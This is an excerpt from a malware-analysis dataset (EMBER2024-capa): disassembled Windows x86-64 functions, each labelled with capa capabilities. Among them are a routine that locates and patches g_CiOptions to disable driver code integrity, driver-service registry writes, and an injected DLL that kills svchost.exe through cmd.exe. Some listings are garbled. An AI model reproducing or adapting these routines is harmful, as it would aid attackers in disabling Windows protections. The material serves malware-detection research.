joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001760
Capabilities:
Disable driver code integrity

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
xor ebx, ebx
mov r14, r8
mov qword [r8], rbx
mov rbp, rdx
mov rsi, rcx
call fcn.1400014a0
mov rcx, rsi
mov rdi, rax
call fcn.1400014a0
mov r9, rax
test rax, rax
je 0x14000188d
mov rax, qword gs:[0x30]
mov r10d, ebx
mov r8d, ebx
mov rcx, qword [rax + 0x60]
mov eax, 0x3fab
cmp word [rcx + 0x120], ax
jb 0x140001822
lea r11, [0x140003de0]
sub r9, r11
nop
mov ecx, ebx
mov rax, r11
movzx edx, byte [rax]
cmp byte [r9 + rax], dl
je 0x1400017e2
test dl, dl
jne 0x14000181e
inc ecx
inc rax
cmp ecx, 0x10
jb 0x1400017d5
mov cl, 1
test cl, cl
mov eax, r8d
cmove eax, r10d
inc r8d
inc r9
mov r10d, eax
cmp r8d, 0xff
jl 0x1400017d0
movzx ecx, bx
nop dword [rax]
inc cx
movzx eax, cx
cmp byte [rax + r11], bl
jne 0x140001810
jmp 0x14000187c
xor cl, cl
jmp 0x1400017ee
lea r11, [0x140003dd0]
sub r9, r11
nop dword [rax]
mov ecx, ebx
mov rax, r11
movzx edx, byte [rax]
cmp byte [r9 + rax], dl
je 0x140001842
test dl, dl
jne 0x140001894
inc ecx
inc rax
cmp ecx, 0xc
jb 0x140001835
mov cl, 1
test cl, cl
mov eax, r8d
cmove eax, r10d
inc r8d
inc r9
mov r10d, eax
cmp r8d, 0xff
jl 0x140001830
mov ecx, ebx
nop dword [rax + rax]
inc cx
movzx eax, cx
cmp byte [rax + r11], bl
jne 0x140001870
test r10d, r10d
jne 0x140001898
lea rcx, str.failed_to_find_CipInitialize_n
call fcn.140001000
xor eax, eax
jmp 0x140001980
xor cl, cl
jmp 0x14000184e
movzx r9d, cx
mov edx, r10d
movsxd rcx, r10d
lea rax, [rcx + r9]
mov r8d, dword [rax + rdi]
add rdi, 4
lea rax, [rcx + r8]
add rax, r9
lea rcx, str.CipOffset_:__d___CipInitOffset_:_0x_llx__CipInitialize_:_0x_llx_n
add rdi, rax
mov r9, rdi
call fcn.140001000
lea r11, [0x140003dc0]
mov r8, rdi
sub r8, r11
mov r10d, ebx
mov r9d, ebx
nop word [rax + rax]
mov ecx, ebx
mov rax, r11
movzx edx, byte [rax]
cmp byte [r8 + rax], dl
je 0x1400018f2
test dl, dl
jne 0x140001942
inc ecx
inc rax
cmp ecx, 0xc
jb 0x1400018e5
mov cl, 1
test cl, cl
mov eax, r9d
cmove eax, r10d
inc r9d
inc r8
movsxd r10, eax
cmp r9d, 0xff
jl 0x1400018e0
nop dword [rax]
inc bx
movzx eax, bx
cmp byte [rax + r11], 0
jne 0x140001920
test r10d, r10d
jne 0x140001946
lea rcx, str.failed_to_find_Ci_gOptions_n
call fcn.140001000
xor eax, eax
jmp 0x140001980
xor cl, cl
jmp 0x1400018fe
movzx r9d, bx
lea rcx, str.Offset_:__d_RealOffset_:__d__g_CiOptions_:_0x_llx
mov edx, r10d
lea rax, [r10 + r9]
add r9, 4
movsxd r8, dword [rax + rdi]
lea rbx, [r10 + r8]
add rbx, r9
add rbx, rdi
mov r9, rbx
call fcn.140001000
sub rbx, rsi
mov eax, 1
add rbx, rbp
mov qword [r14], rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x140001e40
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x240
mov rdi, rdx
mov rbx, rcx
call fcn.140001da0
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlCreateRegistryKey]
test eax, eax
js 0x140001f1a
lea r8, str.___
mov dword [rsp + 0x260], 1
mov edx, 5
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntdll.dll_wcscpy_s]
mov r8, rdi
lea rcx, [rsp + 0x30]
mov edx, 0x87
call qword [sym.imp.ntdll.dll_wcscat_s]
lea rcx, [rsp + 0x30]
mov rax, 0xffffffffffffffff
nop dword [rax]
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x140001eb0
lea eax, [rax*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], eax
lea r8, str.ImagePath
lea rax, [rsp + 0x30]
mov rdx, rbx
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_RtlWriteRegistryValue]
test eax, eax
js 0x140001f1a
lea rax, [rsp + 0x260]
mov dword [rsp + 0x28], 4
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, str.Type
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlWriteRegistryValue]
mov rbx, qword [rsp + 0x250]
add rsp, 0x240
pop rdi
ret
Function at 0x180001070
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0x2a8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x290], rax
cmp edx, 1
jne 0x18000115d
mov r9d, 0x40
lea r8, str.DLL_Message
lea rdx, str.Hello_from_the_injected_DLL_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea r9, str.svchost.exe
mov edx, 0x100
lea r8, str.taskkill__F__IM__S
lea rcx, [rsp + 0x90]
call fcn.180001010
xorps xmm0, xmm0
mov dword [rsp + 0x20], 0x70
xor eax, eax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x84], rax
mov dword [rsp + 0x8c], eax
lea rax, str.cmd.exe
movups xmmword [rsp + 0x34], xmm0
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x90]
movups xmmword [rsp + 0x44], xmm0
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x24], xmm0
mov dword [rsp + 0x24], 0x40
movups xmmword [rsp + 0x54], xmm0
mov dword [rsp + 0x50], 0
movups xmmword [rsp + 0x64], xmm0
movups xmmword [rsp + 0x74], xmm0
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov rcx, qword [rsp + 0x88]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.180001190
add rsp, 0x2a8
ret
Function at 0x140033d70
Capabilities:
Reference absolute stream path on windows

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0xd8
mov rdi, r8
mov rbx, rdx
mov rsi, rcx
mov r14, qword [0x14027e780]
mov rax, qword [r14]
cmp rax, 5
jne 0x140033e07
lea rax, [0x140200b40]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
lea rcx, str.C:Userslucak.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_tungstenite_0.24.0_srccompat.rs
invalid
int 0x1c
add al, ch
invalid
invalid
invalid
add byte [rax - 0x73], cl
or eax, 0x1cc2d9
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], 0x19

Function at 0x140033fd0
Capabilities:
Reference absolute stream path on windows

Disassembly:
push rsi
push rdi
sub rsp, 0x88
mov rdi, qword [0x14027e780]
mov rax, qword [rdi]
lea rsi, [rsp + 0x28]
cmp rax, 5
je 0x140034081
mov rax, qword [rdi]
cmp rax, 5
je 0x1400340fb
mov rax, qword [rdi]
cmp rax, 5
jne 0x140034075
lea rax, str.C:Userslucak.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_tungstenite_0.24.0_srccompat.rs:180_Write.with_context_flush____poll_flush
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x68], rsi
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
lea rcx, str.C:Userslucak.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_tungstenite_0.24.0_srccompat.rs
call fcn.1401a8410
lea rcx, str.tokio_tungstenite::compat
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], 0x19
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], 0x19
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x58]
lea r8, [rsp + 0x30]
mov edx, 5
xor r9d, r9d
call fcn.1401a8300
xor eax, eax
add rsp, 0x88
pop rdi
pop rsi
ret
lea rax, str.__f__
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x68], rsi
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
lea rcx, str.C:Userslucak.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_tungstenite_0.24.0_srccompat.rs
call fcn.1401a8410
lea rcx, str.tokio_tungstenite::compat
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], 0x19
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], 0x19
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x58]
lea r8, [rsp + 0x30]
mov edx, 5
xor r9d, r9d
call fcn.1401a8300
mov rax, qword [rdi]
cmp rax, 5
jne 0x140033fff
lea rax, str.C:Userslucak.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_tungstenite_0.24.0_srccompat.rs:126_AllowStd.with_context
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x68], rsi
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
lea rcx, str.C:Userslucak.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_tungstenite_0.24.0_srccompat.rs
call fcn.1401a8410
lea rcx, str.tokio_tungstenite::compat
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], 0x19
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], 0x19
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x58]
lea r8, [rsp + 0x30]
mov edx, 5
xor r9d, r9d
call fcn.1401a8300
mov rax, qword [rdi]
cmp rax, 5
je 0x140034008
jmp 0x140034075
Function at 0x140034180
Capabilities:
Reference absolute stream path on windows

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0xc0
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
mov r15, qword [0x14027e780]
mov rax, qword [r15]
lea r14, [rsp + 0x30]
cmp rax, 5
jne 0x140034219
lea rax, str.C:Userslucak.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_tungstenite_0.24.0_srccompat.rs:167_Write.write
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
mov qword [rsp + 0x70], r14
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
lea rcx, str.C:Userslucak.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_tungstenite_0.24.0_srccompat.rs
call fcn.1401a8410
lea rcx, str.tokio_tungstenite::compat
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], 0x19
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], 0x19
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x60]
lea r8, [rsp + 0x38]
mov edx, 5
xor r9d, r9d
call fcn.1401a8300
mov rax, qword [r15]
cmp rax, 5
jne 0x14003428f
lea rax, str.C:Userslucak.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_tungstenite_0.24.0_srccompat.rs:126_AllowStd.with_context
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
mov qword [rsp + 0x70], r14
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
lea rcx, str.C:Userslucak.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_tungstenite_0.24.0_srccompat.rs
call fcn.1401a8410
lea rcx, str.tokio_tungstenite::compat
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], 0x19
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], 0x19
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x60]
lea r8, [rsp + 0x38]
mov edx, 5
xor r9d, r9d
call fcn.1401a8300
mov rax, qword [rbx + 0x28]
add rax, 0x10
lea rcx, [0x1402000c8]
mov qword [rsp + 0x90], rcx
mov qword [rsp + 0x98], rax
lea rax, [rsp + 0x90]
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xb0], 0
mov rax, qword [r15]
cmp rax, 5
jne 0x140034348
lea rax, str.C:Userslucak.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_tungstenite_0.24.0_srccompat.rs:169_Write.with_context_write____poll_write
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
mov qword [rsp + 0x70], r14
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
lea rcx, str.C:Userslucak.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_tungstenite_0.24.0_srccompat.rs
call fcn.1401a8410
lea rcx, str.tokio_tungstenite::compat
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], 0x19
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], 0x19
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x60]
lea r8, [rsp + 0x38]
mov edx, 5
xor r9d, r9d
call fcn.1401a8300
lea rdx, [rsp + 0xa0]
mov rcx, rbx
mov r8, rdi
mov r9, rsi
call fcn.14018c300
cmp rax, 2
movabs rcx, 0xd00000003
cmove rdx, rcx
mov ecx, 1
cmove rax, rcx
add rsp, 0xc0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x140052730
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push rbx
mov rax, rcx
add qword [rcx + 0x30], r8
mov r11, qword [rcx + 0x40]
test r11, r11
je 0x140052772
mov r10d, 8
sub r10, r11
cmp r10, r8
mov rdi, r8
cmovb rdi, r10
cmp rdi, 4
jb 0x14005277a
mov esi, dword [rdx]
mov r9d, 4
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jb 0x14005278b
jmp 0x1400527a2
xor r10d, r10d
jmp 0x14005282d
xor esi, esi
xor r9d, r9d
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jae 0x1400527a2
movzx ebx, word [rdx + r9]
lea ecx, [r9*8]
shl rbx, cl
or rsi, rbx
or r9, 2
cmp r9, rdi
jae 0x1400527b9
movzx edi, byte [rdx + r9]
shl r9d, 3
mov ecx, r9d
shl rdi, cl
or rsi, rdi
lea ecx, [r11*8]
shl rsi, cl
or rsi, qword [rax + 0x38]
mov qword [rax + 0x38], rsi
cmp r10, r8
jbe 0x1400527d9
add r11, r8
jmp 0x14005290a
mov rcx, qword [rax + 0x18]
xor rcx, rsi
mov r11, qword [rax + 0x10]
mov r9, qword [rax]
add r9, r11
mov rdi, qword [rax + 8]
add rdi, rcx
rol r11, 0xd
xor r11, r9
rol rcx, 0x10
rol r9, 0x20
xor rcx, rdi
add rdi, r11
rol r11, 0x11
add r9, rcx
xor r11, rdi
rol rcx, 0x15
mov qword [rax + 0x10], r11
xor rcx, r9
rol rdi, 0x20
mov qword [rax + 0x18], rcx
mov qword [rax + 8], rdi
xor r9, rsi
mov qword [rax], r9
sub r8, r10
mov r11d, r8d
and r11d, 7
and r8, 0xfffffffffffffff8
cmp r10, r8
jae 0x1400528a2
mov rcx, qword [rax]
mov r9, qword [rax + 8]
mov rdi, qword [rax + 0x18]
mov rsi, qword [rax + 0x10]
nop
mov rbx, qword [rdx + r10]
xor rdi, rbx
add rcx, rsi
rol rsi, 0xd
add r9, rdi
xor rsi, rcx
rol rdi, 0x10
xor rdi, r9
rol rcx, 0x20
add r9, rsi
add rcx, rdi
rol rsi, 0x11
xor rsi, r9
rol rdi, 0x15
rol r9, 0x20
xor rdi, rcx
xor rcx, rbx
add r10, 8
cmp r10, r8
jb 0x140052850
mov qword [rax + 0x18], rdi
mov qword [rax + 0x10], rsi
mov qword [rax + 8], r9
mov qword [rax], rcx
cmp r11d, 4
jb 0x1400528c0
mov r9d, dword [rdx + r10]
mov r8d, 4
mov rcx, r8
or rcx, 1
cmp rcx, r11
jb 0x1400528d2
jmp 0x1400528ec
xor r9d, r9d
xor r8d, r8d
mov rcx, r8
or rcx, 1
cmp rcx, r11
jae 0x1400528ec
lea rcx, [r8 + r10]
movzx esi, word [rdx + rcx]
lea ecx, [r8*8]
shl rsi, cl
or r9, rsi
or r8, 2
cmp r8, r11
jae 0x140052906
add r10, r8
movzx edx, byte [rdx + r10]
shl r8d, 3
mov ecx, r8d
shl rdx, cl
or r9, rdx
mov qword [rax + 0x38], r9
mov qword [rax + 0x40], r11
pop rbx
pop rdi
pop rsi
ret
Function at 0x140057730
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x78
mov qword [rsp + 0x58], rdx
movsxd rax, dword [rcx + 0x3c]
mov qword [rsp + 0x28], rcx
mov edx, dword [rcx + rax + 0x88]
mov rcx, rdx
mov qword [rsp + 0x38], rdx
test rdx, rdx
je 0x140057902
mov rcx, qword [rsp + 0x28]
mov eax, dword [rcx + rax + 0x8c]
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140057902
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x38]
mov eax, dword [rax + rcx + 0x1c]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x140057902
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x38]
add rax, rcx
mov qword [rsp + 0x30], rax
mov r12d, dword [rax + 0x14]
test r12d, r12d
je 0x140057902
mov rax, qword [rsp + 0x30]
mov r15d, dword [rax + 0x20]
test r15, r15
je 0x140057902
mov rax, qword [rsp + 0x30]
mov ebp, dword [rax + 0x18]
test ebp, ebp
je 0x140057902
mov rdi, r8
mov rax, qword [rsp + 0x28]
add qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rcx + 0x24]
add r15, rax
add rcx, rax
mov qword [rsp + 0x50], rcx
xor r13d, r13d
jmp 0x14005781b
mov ebp, ebx
cmp r13d, ebp
jae 0x140057902
lea r14d, [rbp + r13]
mov ebx, r14d
shr ebx, 1
cmp ebx, r12d
jae 0x140057902
mov eax, ebx
mov edx, dword [r15 + rax*4]
add rdx, qword [rsp + 0x28]
mov r8, 0xffffffffffffffff
cmp byte [rdx + r8 + 1], 0
lea r8, [r8 + 1]
jne 0x140057840
lea rcx, [rsp + 0x60]
call fcn.1401d1f00
cmp qword [rsp + 0x60], 0
jne 0x140057902
mov rcx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x70]
mov rsi, r8
sub rsi, rdi
cmovae r8, rdi
mov rdx, qword [rsp + 0x58]
call fcn.1401ef8c0
cdqe
test eax, eax
cmovne rsi, rax
xor eax, eax
test rsi, rsi
setne al
mov ecx, 0xff
cmovs eax, ecx
cmp al, 1
je 0x140057810
movzx eax, al
cmp eax, 0xff
jne 0x1400578ba
inc ebx
mov r13d, ebx
cmp r13d, ebp
jb 0x14005781b
jmp 0x140057902
and r14d, 0xfffffffe
mov rax, qword [rsp + 0x50]
movzx eax, word [rax + r14]
mov rcx, qword [rsp + 0x40]
mov eax, dword [rcx + rax*4]
add qword [rsp + 0x28], rax
cmp eax, dword [rsp + 0x38]
jb 0x1400578ec
mov rax, qword [rsp + 0x30]
add rax, qword [rsp + 0x48]
cmp qword [rsp + 0x28], rax
jb 0x140057902
mov rax, qword [rsp + 0x28]
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
ud2
Function at 0x140065450
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x68
mov ebx, edx
mov rsi, rcx
movzx r14d, dl
test dl, dl
je 0x1400654b6
lea ecx, [r14 + 0x2f6]
lea eax, [r14 + 0x19c]
and eax, ecx
shr eax, 8
inc al
cmp al, 1
jbe 0x1400654ae
xor edi, edi
cmp bl, 0x64
jae 0x1400654dc
mov r15d, 2
cmp bl, 0xa
jb 0x140065504
lea rax, [0x14020510b]
movzx eax, word [rax + r14*2]
mov word [rsp + 0x41], ax
mov r15d, 1
jmp 0x14006550c
test al, al
je 0x14006559f
mov rdx, qword [rsi + 0x10]
cmp qword [rsi], rdx
je 0x140065579
mov rax, qword [rsi + 8]
mov byte [rax + rdx], 0x30
inc rdx
mov qword [rsi + 0x10], rdx
mov edi, 1
cmp bl, 0x64
jb 0x14006548a
lea eax, [r14 + r14*4]
lea eax, [r14 + rax*8]
shr eax, 0xc
imul ecx, eax, 0x64
sub bl, cl
movzx ecx, bl
lea rdx, [0x14020510b]
movzx ecx, word [rdx + rcx*2]
mov word [rsp + 0x41], cx
xor r15d, r15d
mov ebx, eax
or bl, 0x30
mov byte [rsp + r15 + 0x40], bl
mov rbx, r15
xor rbx, 3
mov rax, qword [rsi]
mov r14, qword [rsi + 0x10]
sub rax, r14
cmp rax, rbx
jb 0x140065556
lea rdx, [rsp + r15]
add rdx, 0x40
mov rcx, qword [rsi + 8]
add rcx, r14
mov r8, rbx
call fcn.1401ef240
add r14, rbx
mov qword [rsi + 0x10], r14
add rdi, rbx
xor eax, eax
mov rdx, rdi
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
mov qword [rsp + 0x20], 1
mov r9d, 1
mov rcx, rsi
mov rdx, r14
mov r8, rbx
call fcn.1401f03e0
mov r14, qword [rsi + 0x10]
jmp 0x140065522
mov qword [rsp + 0x20], 1
mov r8d, 1
mov r9d, 1
mov rcx, rsi
call fcn.1401f03e0
mov rdx, qword [rsi + 0x10]
jmp 0x1400654c3
mov r12, qword [rsi + 0x10]
mov rcx, qword [rsi]
mov rax, qword [rsi + 8]
xor edi, edi
lea rbx, [rsp + 0x28]
lea r14, [rsp + 0x40]
jmp 0x1400655cc
mov byte [rax + r12], 0x30
inc r12
mov qword [rsi + 0x10], r12
cmp r12, rcx
jne 0x1400655c0
cmp rcx, 0xffffffffffffffff
je 0x140065640
lea r15, [rcx + 1]
lea rdx, [rcx + rcx]
cmp rdx, r15
cmova r15, rdx
cmp r15, 9
jae 0x1400655f2
mov r15d, 8
test r15, r15
js 0x140065640
test rcx, rcx
je 0x14006560d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rcx
mov eax, 1
jmp 0x14006560f
xor eax, eax
mov qword [rsp + 0x48], rax
mov edx, 1
mov rcx, rbx
mov r8, r15
mov r9, r14
call fcn.140048e70
cmp qword [rsp + 0x28], 0
jne 0x140065648
mov rax, qword [rsp + 0x30]
mov qword [rsi + 8], rax
mov qword [rsi], r15
mov rcx, r15
jmp 0x1400655c0
mov rcx, rdi
call fcn.14018ba60
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
call fcn.14018ba60
int3
Function at 0x140079460
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push rsi
push rdi
sub rsp, 0x78
mov rsi, rdx
cmp dword [rcx], 2
jne 0x1400794f6
movdqu xmm0, xmmword [rcx + 8]
pshufd xmm1, xmm0, 0x44
pxor xmm1, xmmword [str.uespemosarenegylmodnarodsetybdet]
movdqa xmmword [rsp + 0x30], xmm1
pshufd xmm1, xmm0, 0xee
pxor xmm1, xmmword [0x140202e80]
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmmword [rsp + 0x50], xmm0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 0
mov rdi, qword [rsi]
xor eax, eax
test rdi, rdi
setne al
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x28]
mov r8d, 8
call fcn.140052730
test rdi, rdi
je 0x140079585
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea rcx, [rsp + 0x30]
jmp 0x14007959e
mov rdx, qword [rsi]
xor ecx, ecx
test rdx, rdx
setne cl
movabs rax, 0xcbf29ce484222325
xor rax, rcx
movabs rcx, 0x1efac7090aef4a21
imul rax, rcx
test rdx, rdx
je 0x140079696
mov r9, qword [rsi + 0x10]
test r9, r9
je 0x140079718
mov rcx, qword [rsi + 8]
movabs rdx, 0x100000001b3
mov r10, r9
and r10, 7
je 0x1400796a3
mov r11, rax
mov r8, rcx
nop word cs:[rax + rax]
movzx eax, byte [r8]
inc r8
xor rax, r11
imul rax, rdx
mov r11, rax
dec r10
jne 0x140079560
cmp r9, 8
jae 0x1400796ac
jmp 0x140079718
movzx eax, byte [rsi + 8]
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x28]
mov r8d, 8
call fcn.140052730
mov rax, qword [rsp + 0x40]
mov r9, qword [rsp + 0x60]
shl r9, 0x38
or r9, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x48]
xor rcx, r9
mov r8, qword [rsp + 0x30]
add r8, rax
mov rdx, qword [rsp + 0x38]
add rdx, rcx
rol rax, 0xd
xor rax, r8
rol rcx, 0x10
rol r8, 0x20
xor rcx, rdx
add rdx, rax
rol rax, 0x11
add r8, rcx
xor rax, rdx
rol rcx, 0x15
xor rcx, r8
rol rdx, 0x20
xor r8, r9
xor rdx, 0xff
add r8, rax
rol rax, 0xd
add rdx, rcx
xor rax, r8
rol rcx, 0x10
xor rcx, rdx
rol r8, 0x20
add rdx, rax
add r8, rcx
rol rax, 0x11
xor rax, rdx
rol rcx, 0x15
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
add rdx, rcx
xor rax, r8
rol rcx, 0x10
xor rcx, rdx
rol r8, 0x20
add rdx, rax
add r8, rcx
rol rax, 0x11
xor rax, rdx
rol rcx, 0x15
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
add rdx, rcx
xor rax, r8
shl rcx, 0x10
xor rcx, rdx
add rdx, rax
shr rax, 0x2f
shr rcx, 0x2b
xor rcx, rax
mov rax, rdx
shr rax, 0x20
xor rax, rdx
xor rax, rcx
jmp 0x140079718
movzx edx, byte [rsi + 8]
xor rax, rdx
imul rax, rcx
jmp 0x140079718
mov r8, rcx
cmp r9, 8
jb 0x140079718
add rcx, r9
nop
movzx r9d, byte [r8]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 1]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 2]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 3]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 4]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 5]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 6]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 7]
add r8, 8
xor rax, r9
imul rax, rdx
cmp r8, rcx
jne 0x1400796b0
and eax, 0x7fff
add rsp, 0x78
pop rdi
pop rsi
ret
Function at 0x14008ee80
Capabilities:
Parse pe header

Disassembly:
mov rcx, qword [rcx + 0x20]
movzx eax, word [rcx]
cmp eax, 0x5a4d
jne 0x14008eed1
movsxd rdx, dword [rcx + 0x3c]
cmp dword [rcx + rdx], 0x4550
jne 0x14008eed1
cmp dword [rcx + rdx + 0x84], 7
jb 0x14008eed1
mov eax, dword [rcx + rdx + 0xb8]
test rax, rax
je 0x14008eed1
mov edx, dword [rcx + rdx + 0xbc]
imul r8d, edx, 0xb6db6db7
ror r8d, 2
cmp r8d, 0x9249249
ja 0x14008eed1
cmp edx, 0x1c
jae 0x14008eed4
xor eax, eax
ret
shr edx, 2
imul rdx, rdx, 0x24924925
shr rdx, 0x20
mov r9d, edx
lea rdx, [rax + rcx]
add rdx, 0x14
lea rax, [r9 + r9*8]
lea r8, [rax + rax*2]
add r8, r9
xor eax, eax
xor r9d, r9d
jmp 0x14008ef09
add r9, 0x1c
cmp r8, r9
je 0x14008ef25
cmp dword [rdx + r9 - 8], 2
jne 0x14008ef00
mov r10d, dword [rdx + r9]
cmp dword [rcx + r10], 0x53445352
jne 0x14008ef00
add rcx, r10
mov rax, rcx
ret

Function at 0x1400917c0
Capabilities:
Get hostname

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x48
mov rsi, rcx
mov dword [rsp + 0x2c], 0
lea r8, [rsp + 0x2c]
mov ecx, 5
xor edx, edx
call qword [sym.imp.kernel32.dll_GetComputerNameExW]
test eax, eax
jne 0x140091810
call fcn.1400918e0
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x40], edx
mov qword [rsp + 0x30], 1
test rax, rax
je 0x140091810
lea rcx, [rsp + 0x38]
call fcn.14005aee0
mov r14d, dword [rsp + 0x2c]
lea rdi, [r14 + r14]
test r14, r14
je 0x140091840
movzx eax, byte [0x14027f2b8]
mov edx, 2
mov rcx, rdi
call fcn.140055570
test rax, rax
je 0x1400918c7
mov rbx, rax
jmp 0x140091845
mov ebx, 2
lea r8, [rsp + 0x2c]
mov ecx, 5
mov rdx, rbx
call qword [sym.imp.kernel32.dll_GetComputerNameExW]
test eax, eax
je 0x14009186e
mov r8d, dword [rsp + 0x2c]
mov rcx, rsi
mov rdx, rbx
call fcn.1401bcd20
jmp 0x1400918a4
call fcn.1400918e0
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], edx
shl rdx, 0x20
or rdx, 2
mov qword [rsi + 8], rdx
movabs rcx, 0x8000000000000000
mov qword [rsi], rcx
test rax, rax
